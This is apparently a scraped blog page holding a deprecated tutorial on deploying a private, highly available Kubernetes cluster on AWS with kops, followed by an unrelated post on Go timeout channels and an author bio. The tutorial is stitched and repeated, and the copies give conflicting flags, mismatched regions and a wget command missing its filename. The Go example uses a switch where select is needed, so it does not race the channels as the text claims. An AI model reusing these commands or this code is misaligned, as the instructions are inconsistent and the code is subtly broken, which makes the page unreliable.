Kops will default to ~/.ssh/id_rsa.pub for backend access. You can override this with –ssh-public-key /path/to/key.pub

kops create cluster \
    --node-count 3 \
    --zones us-west-2a,us-west-2b,us-west-2c \
    --master-zones us-west-2a,us-west-2b,us-west-2c \
    --dns-zone nivenly.com \
    --node-size t2.large \
    --master-size t2.large \
    --topology private \
    --networking calico \
    --bastion \
    ${NAME}

kops will deploy these instances using AWS auto scaling groups, so each instance should be ephemeral and will rebuild itself if taken offline for any reason.

Cluster Configuration

We now have created the underlying cluster configuration, lets take a look at every aspect that will define our cluster.

 kops edit cluster ${NAME} 

This will open up the cluster config (that is actually stored in the S3 bucket we created earlier!) in your favorite text editor. Here is where we can optionally really tweak our cluster for our use case. In this tutorial, we leave it default for now.

For more information on these directives, and the kops API please checkout the kops official documentation

Apply the changes

Okay, we are ready to create the cluster in AWS. We do so running the following command.

 kops update cluster ${NAME} --yes 

Start using the cluster

The resources will be deployed asynchronously here. So even though kops has finished, that does not mean our cluster is built. A great way to check if the cluster is online, and the API is working is to use kubectl

 kubectl get nodes 

After we verify the API is responding, we can now use the Kubernetes cluster.

Backend SSH access

We should also now have a bastion server behind an elastic load balancer in AWS that will give us access to the cluster over SSH. Grab the bastion ELB A record, and the instance private IP you want to access from the AWS console and SSH into the bastion as follows.

 
ssh-add ~/.ssh/id_rsa
ssh -A admin@bastion.myfirstcluster.nivenly.com
ssh admin@<master_private_ip>

Follow @kris-nova

This post is DEPRECATED

Please check out the most recent article instead.

What we are building

In this tutorial we will cover setting up a HA privately networked Kubernetes cluster in AWS with Kubernetes kops.

  • Fully private VPC, housing utility and private subnets, with hybrid cloud capabilities over VPN
  • HA (Highly Available) masters spread across availability zones with private subnetting
  • Nodes spread across availability zones with private subnetting
  • Routing between subnets with NAT gateways
  • Elastic Load Balancers in front of the resources for public access
  • Bastion server for backend SSH access to the instances

Installing kops

Kubernetes kops is an open source tool that Kubernetes offers that can be used for deploying Kubernetes clusters against different cloud providers. We will be using the tool to help us with the heavy lifting in this tutorial.

Start by installing the most recent version of kops from the master branch.


brew update && brew install --HEAD kops

More information on installing kops can be found here for our non OS X users.

Installing kubectl

We will also be needing a tool called kubectl. Think of this as a thin CLI client for the Kubernetes API, similar to the aws CLI tool we will be installing next.

You can download the tarball from the Kubernetes latest release page in github, or follow the official install guide here.

wget -O https://github.com/kubernetes/kubernetes/releases/download/v1.4.6/kubernetes.tar.gz
sudo cp kubernetes/platforms/darwin/amd64/kubectl /usr/local/bin/kubectl

Setting up your AWS environment

Setting up a kops IAM user

In this example we will be using a dedicated IAM user to use with kops. This user will need basic API security credentials in order to use kops. Create the user and credentials using the AWS console. More information.

Kubernetes kops uses the official AWS Go SDK, so all we need to do here is set up your system to use the official AWS supported methods of registering security credentials defined here. Here is an example using the aws command line tool to set up your security credentials.

brew update && brew install awscli
aws configure
aws iam list-users

We should now be able to pull a list of IAM users from the API, verifying that our credentials are working as expected.

Setting up DNS for your cluster

We will need a publicly resolvable domain name for our cluster. So we need to make sure we have a hosted zone setup in Route53. In this example we will be using nivenly.com for our example hosted zone.

 ID=$(uuidgen) && aws route53 create-hosted-zone --name nivenly.com --caller-reference $ID 

Setting up a state store for your cluster

In this example we will be creating a dedicated S3 bucket for kops to use. This is where kops will store the state of your cluster and the representation of your cluster, and serves as the source of truth for our cluster configuration throughout the process. We will call this nivenly-com-state-store. I recommend keeping the creation confined to us-east-1, otherwise more input will be needed here.

 aws s3api create-bucket --bucket nivenly-com-state-store --region us-east-1 

Creating your first cluster

Setup your environment for kops

Okay! We are ready to start creating our first cluster. Lets first set up a few environmental variables to make this process as clean as possible.

export NAME=myfirstcluster.nivenly.com
export KOPS_STATE_STORE=s3://nivenly-com-state-store

Note: You don’t have to use environmental variables here. You can always define the values using the –name and –state flags later.

Form your create cluster command

We will need to note which availability zones are available to us. In this example we will be deploying our cluster to the us-west-1 region.

 aws ec2 describe-availability-zones --region us-west-1 

Lets form our create cluster command. Here we want to define a few things.

  • –node-count 3
    • We want 3 Kubernetes nodes
  • –zones us-west-2a,us-west-2b,us-west-2c
    • We want to run our nodes spread across the 3 availability zones available to our account
    • This is a CSV list, pulled from the API in the previous request
  • –master-zones us-west-2a,us-west-2b,us-west-2c 
    • This will tell kops that we want 3 masters, running in HA in these 3 availability zones
  • –dns-zone nivenly.com
    • We define the DNS hosted zone we created earlier
  • –node-size t2.medium
    • We set our nodes to a defined instance size
  • –master-size t2.medium
    • We set our masters to a slightly larger instance size
  • –topology private 
    • We define that we want to use a private network topology with kops
  • –networking weave 
    • We tell kops to use Weave for our overlay network
    • Many thanks to our friends at Weave for helping us make this a staple part of our clusters!
  • –image 293135079892/k8s-1.4-debian-jessie-amd64-hvm-ebs-2016-11-16
    • This is required as a temporary workaround until kops 1.4.2 is released (Estimated Dec 17, 2016)

Kops will default to ~/.ssh/id_rsa.pub for backend access. You can override this with –ssh-public-key /path/to/key.pub

kops create cluster \
    --node-count 3 \
    --zones us-west-2a,us-west-2b,us-west-2c \
    --master-zones us-west-2a,us-west-2b,us-west-2c \
    --dns-zone nivenly.com \
    --node-size t2.medium \
    --master-size t2.medium \
    --topology private \
    --networking weave \
    --image 293135079892/k8s-1.4-debian-jessie-amd64-hvm-ebs-2016-11-16 \
    ${NAME}

kops will deploy these instances using AWS auto scaling groups, so each instance should be ephemeral and will rebuild itself if taken offline for any reason.

Cluster Configuration

We now have created the underlying cluster configuration, lets take a look at every aspect that will define our cluster.

 kops edit cluster ${NAME} 

This will open up the cluster config (that is actually stored in the S3 bucket we created earlier!) in your favorite text editor. Here is where we can optionally really tweak our cluster for our use case. In this tutorial, we leave it default for now.

For more information on these directives, and the kops API please checkout the kops official documentation

Apply the changes

Okay, we are ready to create the cluster in AWS. We do so running the following command.

 kops update cluster ${NAME} --yes 

Start using the cluster

The resources will be deployed asynchronously here. So even though kops has finished, that does not mean our cluster is built. A great way to check if the cluster is online, and the API is working is to use kubectl

 kubectl get nodes 

After we verify the API is responding, we can now use the Kubernetes cluster.

Backend SSH access

We should also now have a bastion server behind an elastic load balancer in AWS that will give us access to the cluster over SSH. Grab the bastion ELB A record, and the instance private IP you want to access from the AWS console and SSH into the bastion as follows.

 
ssh -A admin@<bastion_elb_a_record>
ssh admin@<instance_private_ip>

What do you think?

I always love comments, and suggestions on how to be better. Let me know your thoughts, if you have any good ones.

I wrote a lot of the code for the features in this article, feel free to hit me up on github if you want to follow along!

Follow @kris-nova

Suppose you want to execute a function, and you expect it to complete in a pre defined amount of time..

Maybe you just don’t care about the result if you can’t get it quickly.

Timeout patterns in golang are very useful if you want to fail quickly. Particularly in regard to web programming or socket programming.

The idea behind a timeout is handy, but a pain to code over and over. Here is a clever example of a concurrent timeout implementation, as well as an example on channel factories.

Timeout

Timeouts are the idea that the code should move forward based on an arbitrary defined amount of time, if another task has not completed.

Concurrent Factories

Concurrent factories are ways of generating channels in go, that look and feel the same, but can have different implementations.

In the case of the code below, the getTimeoutChannel function behaves as a concurrent factory.


package main

import (
	"time"
	"fmt"
)

// Will call the getTimeoutChannel factory function, passing in different sleep times for each channel
func main() {
	ch_a := getTimeoutChannel(1) // 1 sec
	ch_b := getTimeoutChannel(2) // 2 sec
	ch_c := getTimeoutChannel(5) // 5 sec
	switch {
	case <-ch_a:
		fmt.Println("Channel A")
		break
	case <-ch_b:
		fmt.Println("Channel B")
		break
	case <-ch_c:
		fmt.Println("Channel C")
		break
	}
}

// Will generate a new channel, and concurrently run a sleep based on the input
// Will return true after the sleep is over
func getTimeoutChannel(N int) chan bool {
	ch := make(chan bool)
	go func() {
		time.Sleep(time.Second * time.Duration(N))
		ch <- true
	}()
	return ch
}

Follow @kris-nova

What happened?

We started 3 concurrent timeout factories, each with a unique channel. Each of the channels will timeout and return a value, after the defined sleep. In this example ch_a will obviously timeout first, as it only sleeps for 1 second.

The switch statement will hang until one of the 3 channels returns a value. After the switch statement detects a value from a channel, it performs the logic for the corresponding case. This allows us to easily pick and chose which avenue the code should progress with further.

When is this useful?

Imagine if ch_a and ch_b were not timeout channels but rather actual logic in your program. Imagine if ch_a was actually a read from a cache, and ch_b was actually a read from a database.

Let’s say the 2 second timeout, was actually a 2 second cache read. The program shouldn’t really care if the cache read is successful or not. If it is taking 2 seconds, then it is hardly doing it’s job as a quick cache anyway. So the program should be smart enough to use whatever value is returned first and not whatever value should be returned first. In this case, the database read.

Now we are in a situation where we implemented a cache, and for whatever reason the cache doesn’t seem to want to return a value. Perhaps updating the cache would be in order?

We can take our example one step further and keep the 5 second timeout on ch_c. For the sake of our experimental program, 5 seconds should be more than enough time for any of the supported avenues to return a meaningful value. If after the 5 seconds has elapsed and the first two channels haven’t reported any valuable data we should consider the system in a state of catastrophic failure, and report back accordingly. Simply add the failure path to the program, and rest assured that the program will handle even the most unexpected of edge cases quickly, and meaningfully.

Now, doesn’t that seem like a great way to structure a program?

Hi. I am Kris Nova. I am a twenty-something year old software engineer with an unhealthy passion for blogging and contributing to open source software. I like to write.

I hope you find my work interesting and share your thoughts on them.

kris-lwt